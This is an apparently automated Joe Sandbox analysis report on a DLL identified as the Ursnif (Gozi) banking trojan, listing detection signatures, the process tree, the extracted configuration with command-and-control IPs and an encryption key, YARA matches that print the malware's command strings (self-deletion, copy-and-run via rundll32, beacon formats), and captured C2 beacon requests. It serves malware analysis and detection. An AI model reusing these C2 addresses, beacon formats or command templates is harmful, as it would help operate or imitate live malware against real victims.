Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
login.dll

Overview

General Information

Sample Name:login.dll
Analysis ID:800174
MD5:34fe297ae7f34d3062cb6adb5363970a
SHA1:ab2c8edc316e5e55ce258bcc6f165ec9b7e92e28
SHA256:9cc3318cdf29c5b6a1c170facbd0e7849b674ecd2072d9741424709e0931f8cf
Tags:agenziaentratedll
Infos:

Detection

Ursnif
Score:96
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Snort IDS alert for network traffic
Writes or reads registry keys via WMI
Found API chain indicative of debugger detection
Found evasive API chain (may stop execution after checking system information)
Writes registry values via WMI
Uses 32bit PE files
Yara signature match
Antivirus or Machine Learning detection for unpacked file
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query locales information (e.g. system language)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Sample file is different than original file name gathered from version info
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Registers a DLL
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 160 cmdline: loaddll32.exe "C:\Users\user\Desktop\login.dll" MD5: 1F562FBF37040EC6C43C8D5EF619EA39)
    • conhost.exe (PID: 5016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 5408 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\login.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 5428 cmdline: rundll32.exe "C:\Users\user\Desktop\login.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
    • regsvr32.exe (PID: 5424 cmdline: regsvr32.exe /s C:\Users\user\Desktop\login.dll MD5: 426E7499F6A7346F0410DEAD0805586B)
    • rundll32.exe (PID: 5328 cmdline: rundll32.exe C:\Users\user\Desktop\login.dll,DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
  • cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "u8HhtL7EmxtEfs3orWvYuC4MpoJP0xTDOM6KyVTBJQmSVbwn8LDhhpmGZYBKTu4hKgFIcMYhM5rQ7FCa/OLIJQQiBUUMKyCZGprVkaSN9Bna7+tLJGcfYZJ+QyuI/wLeGm3SREqBJ8okeoRGtogJgAw3a8XyzlNDKq55xoS4QwDzqlYEGodi4VXJLjrViqbFi+Lo/pPfNYKhpYX7yeJZhiOmKMlKQUD/5m4NX7d19CrKhxTxQNFmIcQz/dQosMsw2HcmDZxikcsjg53Ga7dNQbD+b8J8E7z1iphFgQKi/3CEQdOGdkS2UgWJLyzc1j7MXn3sdPSb5ym+nPYk785YSRIlanuJSu97PzC5wuc2uno=", "c2_domain": ["checklist.skype.com", "185.31.160.197", "31.41.44.76", "194.116.163.130"], "botnet": "7708", "server": "50", "serpent_key": "G0zIVwVIgJOrRjoZ", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000003.398831373.00000000057C8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
    00000004.00000003.398831373.00000000057C8000.00000004.00000020.00020000.00000000.sdmpWindows_Trojan_Gozi_fd494041unknownunknown
    • 0x1228:$a1: /C ping localhost -n %u && del "%s"
    • 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s"
    • 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S"
    • 0xa9c:$a5: filename="%.4u.%lu"
    • 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
    • 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X
    • 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X
    • 0xe6d:$a9: &whoami=%s
    • 0xe56:$a10: %u.%u_%u_%u_x%u
    • 0xd63:$a11: size=%u&hash=0x%08x
    • 0xb1d:$a12: &uptime=%u
    • 0x6fb:$a13: %systemroot%\system32\c_1252.nls
    • 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
    00000004.00000003.398831373.00000000057C8000.00000004.00000020.00020000.00000000.sdmpWindows_Trojan_Gozi_261f5ac5unknownunknown
    • 0xb54:$a1: soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x
    • 0x63a:$a2: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
    • 0xa68:$a3: Content-Disposition: form-data; name="upload_file"; filename="%.4u.%lu"
    • 0xcf2:$a5: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s)
    • 0xd96:$a9: Software\AppDataLow\Software\Microsoft\
    • 0x1c80:$a9: Software\AppDataLow\Software\Microsoft\
    00000003.00000003.412776083.00000000050E8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      00000003.00000003.412776083.00000000050E8000.00000004.00000020.00020000.00000000.sdmpWindows_Trojan_Gozi_fd494041unknownunknown
      • 0x1228:$a1: /C ping localhost -n %u && del "%s"
      • 0xea8:$a2: /C "copy "%s" "%s" /y && "%s" "%s"
      • 0xf00:$a3: /C "copy "%s" "%s" /y && rundll32 "%s",%S"
      • 0xa9c:$a5: filename="%.4u.%lu"
      • 0x63a:$a7: version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
      • 0x876:$a8: %08X-%04X-%04X-%04X-%08X%04X
      • 0xbb7:$a8: %08X-%04X-%04X-%04X-%08X%04X
      • 0xe6d:$a9: &whoami=%s
      • 0xe56:$a10: %u.%u_%u_%u_x%u
      • 0xd63:$a11: size=%u&hash=0x%08x
      • 0xb1d:$a12: &uptime=%u
      • 0x6fb:$a13: %systemroot%\system32\c_1252.nls
      • 0x1298:$a14: IE10RunOnceLastShown_TIMESTAMP
      Click to see the 121 entries

      Sigma Signatures

      ⊘No Sigma rule has matched

      Snort Signatures

      Timestamp:192.168.2.3185.31.160.19749700802033203 02/07/23-08:28:42.568213
      SID:2033203
      Source Port:49700
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749698802033204 02/07/23-08:28:33.230644
      SID:2033204
      Source Port:49698
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749698802033203 02/07/23-08:28:33.230644
      SID:2033203
      Source Port:49698
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3194.116.163.13049708802033203 02/07/23-08:29:22.880195
      SID:2033203
      Source Port:49708
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749710802033204 02/07/23-08:30:54.764009
      SID:2033204
      Source Port:49710
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749710802033203 02/07/23-08:30:54.764009
      SID:2033203
      Source Port:49710
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.331.41.44.7649703802033203 02/07/23-08:28:54.657052
      SID:2033203
      Source Port:49703
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749701802033203 02/07/23-08:28:49.502613
      SID:2033203
      Source Port:49701
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749701802033204 02/07/23-08:28:49.502613
      SID:2033204
      Source Port:49701
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.331.41.44.7649702802033204 02/07/23-08:28:53.381020
      SID:2033204
      Source Port:49702
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3194.116.163.13049709802033203 02/07/23-08:29:29.813831
      SID:2033203
      Source Port:49709
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749711802033203 02/07/23-08:30:55.036359
      SID:2033203
      Source Port:49711
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.331.41.44.7649702802033203 02/07/23-08:28:53.381020
      SID:2033203
      Source Port:49702
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3194.116.163.13049706802033203 02/07/23-08:29:13.527448
      SID:2033203
      Source Port:49706
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749699802033203 02/07/23-08:28:34.491511
      SID:2033203
      Source Port:49699
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749699802033204 02/07/23-08:28:34.491511
      SID:2033204
      Source Port:49699
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.331.41.44.7649705802033203 02/07/23-08:29:09.669739
      SID:2033203
      Source Port:49705
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.331.41.44.7649705802033204 02/07/23-08:29:09.669739
      SID:2033204
      Source Port:49705
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.3185.31.160.19749712802033203 02/07/23-08:31:04.384827
      SID:2033203
      Source Port:49712
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.331.41.44.7649704802033203 02/07/23-08:29:02.729134
      SID:2033203
      Source Port:49704
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected
      Timestamp:192.168.2.331.41.44.7649704802033204 02/07/23-08:29:02.729134
      SID:2033204
      Source Port:49704
      Destination Port:80
      Protocol:TCP
      Classtype:A Network Trojan was detected

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Multi AV Scanner detection for submitted file
      Source: login.dllReversingLabs: Detection: 15%
      Source: login.dllVirustotal: Detection: 20%Perma Link
      Source: 3.2.regsvr32.exe.d70000.0.unpackAvira: Label: TR/Crypt.XPACK.Gen8
      Source: 0.2.loaddll32.exe.e50000.0.unpackAvira: Label: TR/Crypt.XPACK.Gen8
      Source: 00000005.00000003.248060346.0000000002C50000.00000004.00001000.00020000.00000000.sdmpMalware Configuration Extractor: Ursnif {"RSA Public Key": "u8HhtL7EmxtEfs3orWvYuC4MpoJP0xTDOM6KyVTBJQmSVbwn8LDhhpmGZYBKTu4hKgFIcMYhM5rQ7FCa/OLIJQQiBUUMKyCZGprVkaSN9Bna7+tLJGcfYZJ+QyuI/wLeGm3SREqBJ8okeoRGtogJgAw3a8XyzlNDKq55xoS4QwDzqlYEGodi4VXJLjrViqbFi+Lo/pPfNYKhpYX7yeJZhiOmKMlKQUD/5m4NX7d19CrKhxTxQNFmIcQz/dQosMsw2HcmDZxikcsjg53Ga7dNQbD+b8J8E7z1iphFgQKi/3CEQdOGdkS2UgWJLyzc1j7MXn3sdPSb5ym+nPYk785YSRIlanuJSu97PzC5wuc2uno=", "c2_domain": ["checklist.skype.com", "185.31.160.197", "31.41.44.76", "194.116.163.130"], "botnet": "7708", "server": "50", "serpent_key": "G0zIVwVIgJOrRjoZ", "sleep_time": "1", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0"}
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_027C1508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,0_2_027C1508
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D81508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,3_2_00D81508
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_03181508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,4_2_03181508
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_02C91508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,5_2_02C91508
      Source: login.dllStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
      Source: login.dllStatic PE information: DYNAMIC_BASE, NX_COMPAT
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB711D0 FindWindowA,DestroyWindow,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStringsA,task,GetSystemDirectoryA,GetEnvironmentStrings,task,GetEnvironmentStringsA,task,GetEnvironmentStrings,task,PathAppendA,GetEnvironmentStrings,task,GetEnvironmentStringsA,task,GetEnvironmentStrings,task,FindFirstFileA,FindNextFileA,task,FindClose,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetTickCount,LoadLibraryExA,GetProcAddress,SleepEx,FreeLibrary,SendMessageTimeoutA,KiUserCallbackDispatcher,task,ExitProcess,DefWindowProcA,task,DestroyWindow,PostQuitMessage,DefWindowProcA,0_2_6CB711D0
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB922BF FindFirstFileExW,0_2_6CB922BF

      Networking

      barindex
      System process connects to network (likely due to code injection or exploit)
      Source: C:\Windows\SysWOW64\rundll32.exeNetwork Connect: 31.41.44.76 80Jump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeNetwork Connect: 185.31.160.197 80Jump to behavior
      Source: C:\Windows\SysWOW64\regsvr32.exeDomain query: checklist.skype.com
      Source: C:\Windows\SysWOW64\rundll32.exeNetwork Connect: 194.116.163.130 80Jump to behavior
      Snort IDS alert for network traffic
      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49698 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49698 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49699 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49699 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49700 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49701 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49701 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49702 -> 31.41.44.76:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49702 -> 31.41.44.76:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49703 -> 31.41.44.76:80
      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49704 -> 31.41.44.76:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49704 -> 31.41.44.76:80
      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49705 -> 31.41.44.76:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49705 -> 31.41.44.76:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49706 -> 194.116.163.130:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49708 -> 194.116.163.130:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49709 -> 194.116.163.130:80
      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49710 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49710 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49711 -> 185.31.160.197:80
      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49712 -> 185.31.160.197:80
      Source: Joe Sandbox ViewASN Name: ASRELINKRU ASRELINKRU
      Source: Joe Sandbox ViewASN Name: SPACENET-ASInternetServiceProviderRU SPACENET-ASInternetServiceProviderRU
      Source: global trafficHTTP traffic detected: GET /drew/GuigitVo/Puomq48Yc1hy_2FcQ_2BtM2/bx1Wz88_2B/KVs1tTV2zc_2BNAB2/D5c8Fif9uewF/5tnGr6riVZK/horfC4izkHtm_2/FRsyiPSStAcxMMw3KVag3/lKaiS0nUr_2F9hqf/3RFXwKt5J2tbPXS/ORUwyogCPRAU0lNCrZ/gUX2p4uf0/52fR7fuL9TQAnM8MZktZ/jn3oNSUBUG6ObRKZ9t0/G7muspir0_2FXwVFTkRBH_/2BQHEsUwGWwZ0/Fyq3Jq6I/bVBsCJjOxydll2fOCh9ATvJ/bvtlKOuLy_2F/Q3nLg.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/96WbEBcUq7aJNS/kQ0wfLfN8JI6VjNCsUTzK/WK90z9_2B7XAX2XG/upXptMjAiJhGB_2/Bx9kHdvFY9mjvzV9Hj/avb7Lzylq/E6cSDs9cPFVIqeDwACTJ/PK1QG41MThu4L3_2B6a/xhZK1ebw1k5lunwYBFV1UH/ikwAGEMpwJtiI/gAOTzF2x/QdYlHgDS6vS3tl1dP0NvynL/VzsZJRafdD/wCq0UKL04BDOdNThW/cyleJ18Ljhqu/5wzZFHiwSjI/c6vGjdr4_2FGZn/hLs_2Bk1McXgWzPfoUmWZ/5FTAJ.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/fv81LNtTjb/WMu9hRxTSlmya2yS5/NZdcUrPHfmjK/9t9_2BOy0lh/nF4c4PFwxx8dGy/L8Ie_2FDCX8inll_2BYup/22F05C4OM7Bflev3/xI4d2lnP2nuU1kC/CQgFtndDaK95oGOo2W/10kXr_2BF/Pn5wroeQhBHPVbdtsdZn/Kq3ArJkFaNBMaRoHraG/F4gF6a4CfhJLmRyy06tNKV/CkuVd_2BYA_2B/x3czcx7b/iMUew5dDQFwomGeMWtfxunT/TtS9qbBehh/Cia3q9FliYD24EPNk/ovExEyt6d1c/_2FQOc.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/n87QY1mR/2s6gYLTOqL5OeFE20at3QXd/Wb0mSQ1d6B/saZouZ_2BgacXz21Z/8En_2F10eOER/U_2BmkwqPxv/wex3_2BXhpNs_2/FfTr8ObOol6Bj9R73wclO/iN3ZGgw_2FTW1k0k/luhMat3D15ps5pc/VPMczQb7jaMQeEGLKK/fpMOyitjr/DuMSxLZyDG8N07SyLrF1/2wkeD9mjZDtnaTddkgI/5ZIwJr9wIkKxpgF826PPbc/DjUKFQFImz7i_/2BJLH_2F/X7QeeTQFd0zea_2FLWouvvO/OGzuRk5GsdmCq/tYpK.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.31.160.197Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/uyGwDHdp_2BN65RNFpEnnk/Vh_2BhiPjb2NK/zNetxffj/rolLtrqYSQI7Z1sdav4HcKm/I1Qr35pl80/1_2F0KF9XAnBGTAWU/6q7vPexFna0n/vkYoVYgnqm_/2BwrG_2Fo7duoa/ZW3p3VZlvN9gSsPX0t0OU/QJLeLZgTtGb189u0/LqnBpFbOpLe_2Fq/qX6lmCkrJcTwgvrtIi/q63A1D73c/Cbr49X6IDaFw8rI4UypV/iAW63u87DH8ORxNJjv_/2FbnvH4rTy9JmyXxkus_2F/hqBLgSxGlLjnX/vAha2ByMtF/i.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.41.44.76Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/tKbIR0uTOA/YGp3puDNXehEZbQwE/fGmFaQVFoJtq/gh9ffXM_2BM/pvD5cczRnUGAJt/wyPvZqseQyf_2FgGUBjg_/2FwZiGG6m0393Rgv/jei71BL6Fgif3Oa/BF53JssGLmdk6BtePS/l5Q_2F8ae/5hhBlXwCQVa_2BbsBVmA/pItQe_2FwyY_2F76rOr/TVPU3k_2Fd7uBMTG_2BZ28/YJ5psF0DmwraU/iwe51xIV/NnaeAuemS3dLHC60tOsOqlb/y_2Bh4L_2B/plVh_2Bjto1OPuRhU/S17U18mI4x3h/QpYIj8srDy4/eNqY.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.41.44.76Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/rQ80WmmISTdna6EZo8tb/N9IRYvXa9_2FwhYGLtw/DDguQwUmkKhF5p_2Fv32Qf/ct9aWPwjSgDO4/izTH4Bpy/ERFKMvJ7aXWRIOQSUNl8sXM/xs7duzy4Q5/KRDAN72gk9l1WXxwL/cukyXWTTIEPX/6MTef_2FekI/_2BVX_2Fn7fpGO/ms8CWSRLv1NwUWCqyCrWl/F0dorb0Gze_2BtCO/uXfBJVu4qNuzLBC/UAd8CfMJ5U6PUMkUP3/S75J42H7q/v2K4VDGPDBGfc7SFNv4x/_2FrM_2F_2FsrhfaQ4G/QMCkQkc9/Q.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.41.44.76Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/V4pNkkiub616wi7Fp5c4KW/oO7o1dBPgLm0_/2BMGka8X/fyYgfAlUa45hHCfIDK_2BHr/QSYlLhmUYS/9Ai_2FbPYCH7smvdO/717YthDS3IQv/PnSVc21Ngaw/Vn1_2BOZtOBahp/1EwwA_2BBv2Zwic4Bzf_2/FSmA6S25_2BBG7sZ/CgeidfDqrlSsz9g/mK8ACu1oXo0TMNlJny/3WcasiNsT/xGU8_2BCgXqRPbeAqlWe/W18ECevo_2BBj7U5N8n/EaS4hR1Jm_2BBoht2Prvvj/uur5n64jpKQI6/iMlZfntqy/QWBtk2.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 31.41.44.76Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/abMXMSmVBmYxpM/crxG5ITm3ggBhYY2SvdHf/Boi5xXMrT8BGN3gP/hoX7Gn4_2Fg77Mh/dUe1mA9DM8C0_2Bu1_/2FpGiPxKE/myL5DrWevSAMQAJldwWx/EFTSf7FCW0bmH6vyXa2/mCrgPBjdC5_2BgWAkPkj5Q/orXAxZza0rrPm/jEViahgM/Q1a7oD0HQVHEtwOELTT_2Fw/rOQB_2BxSQ/6hM_2FXQd2ejcDywh/ccgIb8z7h0YV/NEj7w6ZQ5Ou/6w4KHCQa0d05Gb/ziYPg_2BC1_2Bdt1B7Y_2/BR6LSOiRozfkoz/f.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.116.163.130Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/GLgt0o_2BqRUa/Fmfh_2F4/oZt6OFznTEzSsVmuRm79NIG/jNK_2FWE_2/B1QBzYkliIV240B9s/g7bqhiihM_2F/5z3pmiHiDcB/O6wtsN6IgcD_2B/E7iTA7iDvuu2ty7Z_2F9W/OISsw7ZpE_2FrCcj/xBp5YJaLVGIy_2F/sVdBrSW9xobA1IxwgC/AGGgU9rGi/fyC4JUAw5NMu0pj658cT/ycxD9UF3mU69kBGso8I/plEsLeDBwaF1GDeC0Npo4g/kliDuBrDIEn06/rzm17XfH/UvpcA8b6hIFmhjALBsyRZFi/j3ZS.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.116.163.130Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/WKFz3025oeNUAhVE3Cmp/ZODZbv5Riiei5wZByoB/kMByyfIjSBktM3GISHMiiv/ZYtCqsISKFnMm/IH3X_2BK/y_2BkYKMZvZGMw_2B_2FhUr/P6MWCXDttT/AZuEpaYyTv3XPPa2l/TN5MlFCAnA_2/BLhLaGQrb9o/jU3Mc3oa1Jzvcv/wRpb_2BNj3M_2FDWCYdlq/UUxszf3xF_2FFqbu/qGpEYfYPMMl7CQ5/NoEQGh_2FyBeCer3Sr/QzfVcxvoh/9MiNJW144f_2FkyJc7uw/idmvVZen8VxvSTYWhlZ/vvHuMwuf7B/_2B.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.116.163.130Connection: Keep-AliveCache-Control: no-cache
      Source: global trafficHTTP traffic detected: GET /drew/zHpCq6EdOiaozIBkuOunNpJ/jRKbzEpM0X/k7IoeDHXB_2FyxTeF/_2BvFKTU_2Bi/LczvYQBsofz/tMRJBCj9m9bkbB/ENasA7HJBxqPQBTd90cdK/i3YK42Z185DcHIlC/LnzLW1iqfFwH0JW/GZwwANuXL4AckgYBEk/dmLNxA6bN/3yD9Kk0CtmpCnb_2Bv_2/BqCRb9F9mdlERKj1wnL/P77LSYa_2FqOPRqho0ZqlU/3WoC6_2B_2BN0/QWJ44MOp/IdeBiXHuOUJvLGEbq_2Fg_2/B_2F3QGqeY/pFQW7yihK50tdejC/UQD.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 194.116.163.130Connection: Keep-AliveCache-Control: no-cache
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 185.31.160.197
      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.44.76
